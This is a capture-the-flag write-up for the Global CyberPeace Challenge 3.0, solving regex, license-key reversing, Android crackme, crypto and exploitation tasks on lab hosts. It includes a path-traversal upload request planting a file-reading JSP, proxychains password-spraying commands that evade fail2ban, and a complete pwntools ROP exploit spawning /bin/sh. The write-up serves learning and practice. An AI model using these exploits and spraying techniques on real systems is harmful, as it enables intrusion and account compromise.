---
# System prepended metadata

title: Global CyberPeace Challenge 3.0
tags: [Writeup]

---

---
tags: Writeup
---
# Global CyberPeace Challenge 3.0

## Regexp Challenge
We just need to craft manually our regex per level
- Level 1
    - `\d{8}\D{1}`
- Level 2
    - `^[1,2,3,4,8,9]\D{1}`
- Level 3
    - `\d{8}[A]{1}`
- Level 4
    - `7{7,}[A]`
- Level 5
    - `.*A`
- Level 6
    - `\d*A`
- Level 7
    - `\d*\D`
- Level 8
    - `\d*[c,h,W,A]`
- Level 9
    - `[^-]+`
- Level 10
    - `\D{1}-{1}\d{6}\D`
- Level 11
    - `\D{1}-{1}\d{3,5}\D`
- Level 12
    - `\D{1}(-|\+){1}\d{6}\D`
- Level 13
    - `\d{2}\D?\d{5}\D`
- Level 14
    - `\d{2}\D?\d{1,3}\D`
- Level 15
    - `((\D\+\d{4,6}\D)|(\D-\d{4}\D))`
![](https://i.imgur.com/s6HIwQF.png)
> Flag: HL{RegExp-Tyc00n-91234}

## License Key Level 1
Serial key was found in this verify function
![](https://i.imgur.com/9rnmPs1.png)
> Flag: SYIOKLELUIOD

## License Key Level 2
The calculated serial was printed in the terminal, so we can simply use it as the flag.
![](https://i.imgur.com/Eql3bup.png)
> Flag: LBQXULNJPXDE

## License Key Level 3
Checking the disassembly code
![](https://i.imgur.com/m2exSD6.png)
*From the above image, we found the key*

![](https://i.imgur.com/LjvB31F.png)
*From the above image, we found the logic to generate the serial*

Just translate it to python
```python=
key = b'yrtxgfh;olmn'
name = b'cyberpeace'
serial = ''
for i in range(12):
    serial += chr(((key[(i*2) % 12]^name[i % len(name)]) << 2) % 0x19 + ord('B'))
print(serial)
```

> Flag: FDVDRRNKRDYG

## License Key Level 4
After reading the disassembly code, we know that the serial char comparison happen in this address
![](https://i.imgur.com/AlN45NT.png)
```
  40752d:	44 38 2c 18          	cmp    BYTE PTR [rax+rbx*1],r13b
```
With the help of GDB, we can simply set breakpoint on it, and retrieve the r13 value. We got our serial key after retrieving the r13 value 12 times.
![](https://i.imgur.com/U7UlzGH.png)
> Flag: GEIJBLDJDECA

## PLUpload
I try to check `/examples` folder, and found out that this uses Apache Tomcat. After playing it for a while (especially on the upload feature), I notice that the upload feature doesn't sanitize `../`, which mean we can freely upload the file to any directories. Also inside the examples folder there are a lot of jsp file example that got executed.

My solution is to upload a jsp file to the examples folder path (`/examples/jsp/jsp2/el`) where the jsp file will open `/var/gold.txt` file contents.

Below is the jsp file
```java=
<%@page import="java.io.FileInputStream"%>
<%@page import="java.io.File"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.net.URL"%>
<%@page import="java.io.FileReader"%>
<%@page import="java.io.BufferedReader"%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Read Text</title>
    </head>
    <body>
        <%
            String txtFilePath = "/var/gold.txt";
            BufferedReader reader = new BufferedReader(new FileReader(txtFilePath));
            StringBuilder sb = new StringBuilder();
            String line;

            while((line = reader.readLine())!= null){
                sb.append(line+"\n");
            }
            out.println(sb.toString()); 
        %>

    </body>
</html>
```

Below is the upload request that I use to upload the jsp file to `../../examples/jsp/jsp2/el/cho.jsp`
```
POST //upload HTTP/1.1
Host: e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------34999802810414628822789368601
Content-Length: 1479
Origin: https://e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land
Connection: close
Referer: https://e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land/
Cookie: JSESSIONID=6E2119D7A2763AC0C88B4888A10C0E8B
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="name"

../../examples/jsp/jsp2/el/cho.jsp
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="chunk"

0
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="chunks"

1
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="file"; filename="cho.jsp"
Content-Type: application/octet-stream

<%@page import="java.io.FileInputStream"%>
<%@page import="java.io.File"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.net.URL"%>
<%@page import="java.io.FileReader"%>
<%@page import="java.io.BufferedReader"%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Read Text</title>
    </head>
    <body>
        <%
            String txtFilePath = "/var/gold.txt";
            BufferedReader reader = new BufferedReader(new FileReader(txtFilePath));
            StringBuilder sb = new StringBuilder();
            String line;

            while((line = reader.readLine())!= null){
                sb.append(line+"\n");
            }
            out.println(sb.toString()); 
        %>

    </body>
</html>
-----------------------------34999802810414628822789368601--

```

After upload it, we can simply open the file 
![](https://i.imgur.com/a0sHb0o.png)

> Flag: New is always better. - Barney Stinson

## CTF Spray Attack SSH
With the help of proxychains, we can dynamically change our ip to bypass the fail2ban. Command that I used:
```bash=
proxychains sshpass -p 93370760 ssh -o StrictHostKeyChecking=no user_100283@pwspray.vm.vuln.land -p 22
```
![](https://i.imgur.com/mT0j5pe.png)

## CTF Spray Attack HTTP
With the help of proxychains, we can dynamically change our ip to bypass the fail2ban. Command that I used:
```bash=
proxychains curl --user user_140244:6ed42dd7 http://pwspray.vm.vuln.land -v
```
![](https://i.imgur.com/e3Yuq6D.png)

## Crack me Android
I got an apk file, and I try to decompile it with the help of JDK. After reading the result I found the login code in the LoginViewModel.
```java=
    public void login(String str) {
        if (checkHooking()) {
            this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.must_not_hook)));
            return;
        }
        try {
            int[] checkPw = checkPw(getCode(str));
            if (checkPw.length > 0) {
                this.loginResult.setValue(new LoginResult(new LoggedInUser(getStringFromCode(checkPw), "Well done you did it.")));
            } else {
                this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.login_failed)));
            }
        } catch (Exception unused) {
            this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.error_logging_in)));
        }
    }

    protected static int[] x0 = {121, 134, 239, 213, 16, 28, 184, 101, 150, 60, 170, 49, 159, 189, 241, 146, 141, 22, 205, 223, 218, 210, 99, 219, 34, 84, 156, 237, 26, 94, 178, 230, 27, 180, 72, 32, 102, 192, 178, 234, 228, 38, 37, 142, 242, 142, 133, 159, 142, 33};

    protected int[] getCode(String str) {
        byte[] bytes = str.getBytes();
        int[] iArr = new int[str.length()];
        for (int i = 0; i < str.length(); i++) {
            iArr[i] = bytes[i] ^ x0[i];
        }
        return iArr;
    }

```

Basically, what it do is our password will be xor-ed with the `x0` var, and then the result will be passed to native method called `checkPw`
I extract the native lib so file, and open it on Ghidra. With the help of JNIAnalyzer, I could deduce the password checker that was used in the `checkPw` method.
```c=
jintArray Java_org_bfe_crackmenative_ui_LoginViewModel_checkPw
                    (JNIEnv *env,jobject thiz,jintArray password)

{
  bool bVar1;
  bool bVar2;
  jintArray new_arr;
  jsize password_length;
  FILE *__stream;
  char *pcVar3;
  jint *curr_char_pass;
  char expected_char;
  long idx;
  jintArray new_arr5;
  long in_FS_OFFSET;
  char local_1038 [4096];
  long local_38;
  
  local_38 = *(long *)(in_FS_OFFSET + 0x28);
  __android_log_write(4,"Native Check","Checking password ...");
  new_arr = (*(*env)->NewIntArray)(env,0);
  password_length = (*(*env)->GetArrayLength)(env,password);
  new_arr5 = new_arr;
  if ((int)password_length == 27) {
    __stream = fopen("/proc/self/maps","r");
    do {
      pcVar3 = fgets(local_1038,0x1000,__stream);
      if (pcVar3 == (char *)0x0) {
        bVar1 = false;
        bVar2 = bVar1;
        if (__stream == (FILE *)0x0) goto LAB_001009f9;
        goto LAB_001009f1;
      }
      pcVar3 = strstr(local_1038,"Xposed");
      bVar1 = true;
    } while ((pcVar3 == (char *)0x0) && (pcVar3 = strstr(local_1038,"frida"), pcVar3 == (char *)0x0)
            );
    bVar2 = true;
    if (__stream != (FILE *)0x0) {
LAB_001009f1:
      bVar1 = bVar2;
      fclose(__stream);
    }
LAB_001009f9:
    if (!bVar1) {
      idx = 0;
      curr_char_pass = (*(*env)->GetIntArrayElements)(env,password,(jboolean *)0x0);
      for (_expected_char = &DAT_00100c8c;
          ((new_arr5 = new_arr,
           ((&DAT_00100b20)[idx] ^ *(uint *)((long)curr_char_pass + idx * 4) ^ *_expected_char) ==
           (&DAT_00100cc0)[idx] && (new_arr5 = password, idx != 26)) &&
          (new_arr5 = new_arr,
          ((&DAT_00100b24)[idx] ^ *(uint *)((long)curr_char_pass + idx * 4 + 4) ^ _expected_char[-1]
          ) == (&DAT_00100cc4)[idx])); _expected_char = _expected_char + -2) {
        idx = idx + 2;
      }
    }
  }
  if (*(long *)(in_FS_OFFSET + 0x28) != local_38) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return new_arr5;
}
```
Reading the code, we know that the password length is 27, and the native lib have three different keys in the native (`key_a` which is `DAT_00100b20`, `key_b` which is `DAT_00100c8c` and `key_c` which is `DAT_00100cc0` ). What it do is
`input[i] ^ key_a[i] ^ key_b[-i] = key_c[i]`
And merging with the Login logic, the final operation would be
`password[i] ^ x0[i] ^ key_a[i] ^ key_b[-i] = key_c[i]`
So to generate the password (which is the flag), we just need to do:
`password[i] = x0[i] ^ key_a[i] ^ key_b[-i] ^ key_c[i]`

Full code:
```python=
key_a = b'\xd0\x45\x28\x76\x6f\xf3\x5a\xf4\xc7\xce\xfb\xc3\x7f\x48\xce\x3c\x3a\x0b\xf1\x53\xb1\x4b\xb9\x5e\xa2\x65\x77'
key_b = b'\x4c\x7b\x73\x6f\x72\x72\x79\x2e\x74\x68\x69\x73\x2e\x69\x73\x2e\x4e\x4f\x54\x2e\x74\x68\x65\x2e\x66\x6c\x61'
key_c = b'\x80\xe3\xda\xc7\x2e\xf1\xa2\x91\x6b\xdc\x6b\xb5\xe5\xaf\x3f\xb9\xee\x5b\x26\x92\x66\xc5\xcb\xde\x81\x79\xda'
x0 = [121, 134, 239, 213, 16, 28, 184, 101, 150, 60, 170, 49, 159, 189, 241, 146, 141, 22, 205, 223, 218, 210, 99, 219, 34, 84, 156, 237, 26, 94, 178, 230, 27, 180, 72, 32, 102, 192, 178, 234, 228, 38, 37, 142, 242, 142, 133, 159, 142, 33]
flag = ''
for i in range(27):
    flag += chr(key_a[i]^key_b[-(i+1)]^key_c[i]^x0[i])
print(f'Flag: {flag}')
```
> Flag: HL{J4v4.nativ3.d0.n0t.c4r3}

## CrySYS

We were given a binary that is pretty short
```c=
#include <stdio.h>
#include <unistd.h>

//gcc -o challenge -no-pie -fno-stack-protector challenges.c
//LD_PRELOAD=./libc-2.27.so ./ld-2.27.so ./challenge

int not_vulnerable(){
	char buf[80];
    return read(0, buf, 0x1000); 
}


int main(){
	not_vulnerable();
    return 0;
}
```
There is a buffer overflow vulnerability. Because the plt only contains read, we need to do partial overwrite (1 byte) to the read_got value so that we can execute `syscall`. The idea to gain the shell is:
- Overwrite RIP to read_plt
- Overwrite read_got to syscall with read (1 last byte)
- Rax = 1, If we call read_plt (which now is syscall), we can leak the got address and retrieve the libc base address
- Set rax to 0
- Syscall read again to load our second payload into .bss (Second payload will execute system("/bin/sh"))
- Set rsp to the .bss
- Pop "/bin/sh" to rdi
- Ret to system

Below is my full payload
```python=
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

# Chosen BSS
bss = 0x00601030+0x400

# readelf -s libc-2.27.so | grep "read" = 0x0000000000110070
# I choose to redirect it to directly syscall inside read (read+15)
read_offset = 0x000000000011007f

read_plt = 0x00000000004003f0
read_got = 0x601018
syscall = read_plt # We will overwrite read_got to syscall, so basically syscall = read_plt

# ROPGadget result
pop_rdi = 0x0000000000400583 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400581 # pop rsi ; pop r15 ; ret
pop_rsp = 0x000000000040057d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
mov_eax_0_pop_rbp = 0x0000000000400515 # mov eax, 0 ; pop rbp ; ret
ret_address = 0x00000000004003de # ret

libc = ELF('./libc-2.27.so')
r = process('./crySYS_patched')

# Load stage 2 rop
payload = b'a'*80
payload += p64(bss)

payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt) # Overwrite 1 bytes, rax == 1

payload += p64(pop_rdi) + p64(1)
payload += p64(syscall) # rax == 1 == write(1, got_addr)

payload += p64(mov_eax_0_pop_rbp) + p64(bss+72) # Set rax to 0

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0)
payload += p64(syscall) # read(0, bss)

payload += p64(pop_rsp) + p64(bss) # Set rsp to bss
sleep(1)
r.sendline(payload)
log.info('Payload sent...')
sleep(1)

# Overwrite 1 byte of read_got by syscall inside read
r.send(b'\x7f')
log.info('Overwrite read got...')
sleep(1)

# After leaking the address, call system()
leak_syscall_address = u64(r.recvn(8))
libc.address = leak_syscall_address - read_offset
log.info(f'Leaked syscall address: {hex(leak_syscall_address)}')
log.info(f'Leaked libc address: {hex(libc.address)}')

# Craft payload to call system('/bin/sh')
bin_sh_string_addr = next(libc.search(b'/bin/sh'))
payload_3 = p64(0) + p64(0) + p64(0)
payload_3 += p64(pop_rdi) + p64(bin_sh_string_addr)
payload_3 += p64(ret_address) # https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call
payload_3 += p64(libc.symbols['system']) + p64(0) # Call system
sleep(1)
r.send(payload_3)
log.info('Call system("/bin/sh")...')
r.interactive()
```

![](https://i.imgur.com/aUb2CRl.png)


> Flag: HL{PPPwned-7165-4679-8c39-cf7633bdf81b}

## IDBased1

After checking with the given ciphertexts consist of encrypted message of 'This is the test message number x', there is a collision between the ciphertexts CEO and the test ciphertexts

CEO ciphertexts:
```
(48589388807824569428904895217595930284742776679758376879158603177028397294637208100498204082285088554469912630884992811058648356701793719253927209526856391255958203708765937470965113379063164783112790458526467722720510441287344375068385945897745788289000831021749963218399056946672933810712728531356131069075, 91666678461349391408393081333148703690518650210973716238555488161769616574067974692422855852226270111041696008098903109570179474889001701370982766256913315456108459222753446063832634368831212498249621216114532831173942748910271298860729376114971648924546503909862899046327681305300267651777702160513672803461), 4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v
```

One of the test ciphertexts:
```
(48589388807824569428904895217595930284742776679758376879158603177028397294637208100498204082285088554469912630884992811058648356701793719253927209526856391255958203708765937470965113379063164783112790458526467722720510441287344375068385945897745788289000831021749963218399056946672933810712728531356131069075, 91666678461349391408393081333148703690518650210973716238555488161769616574067974692422855852226270111041696008098903109570179474889001701370982766256913315456108459222753446063832634368831212498249621216114532831173942748910271298860729376114971648924546503909862899046327681305300267651777702160513672803461), 7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc
```

BasicIdent ciphertext is like below:
```
v = m xor H2(gID**r)
```

Because the $rP$ value is the same, we could know that the $H2(g_{ID}^r)$ value of the ceo and the test cipher texts have the same value, which mean
```
ceo_v = b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v')
test_v = b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc')

ceo_msg = test_v^b'This is the message number'^ceo_v
```

Full Script:
```python=
from pwn import *
import base64

ceo_v = base64.b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v')
flag_len = len(ceo_v)
test_v = base64.b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc')
test_msg = b'This is the test message number'

flag = xor(xor(test_v[:flag_len], test_msg[:flag_len]), ceo_v)
print(f'Flag: {flag.decode()}')
```

We successfully retrieve the flag

> Flag: YNOT18{B4DB4DB4DR4NDOMNE55}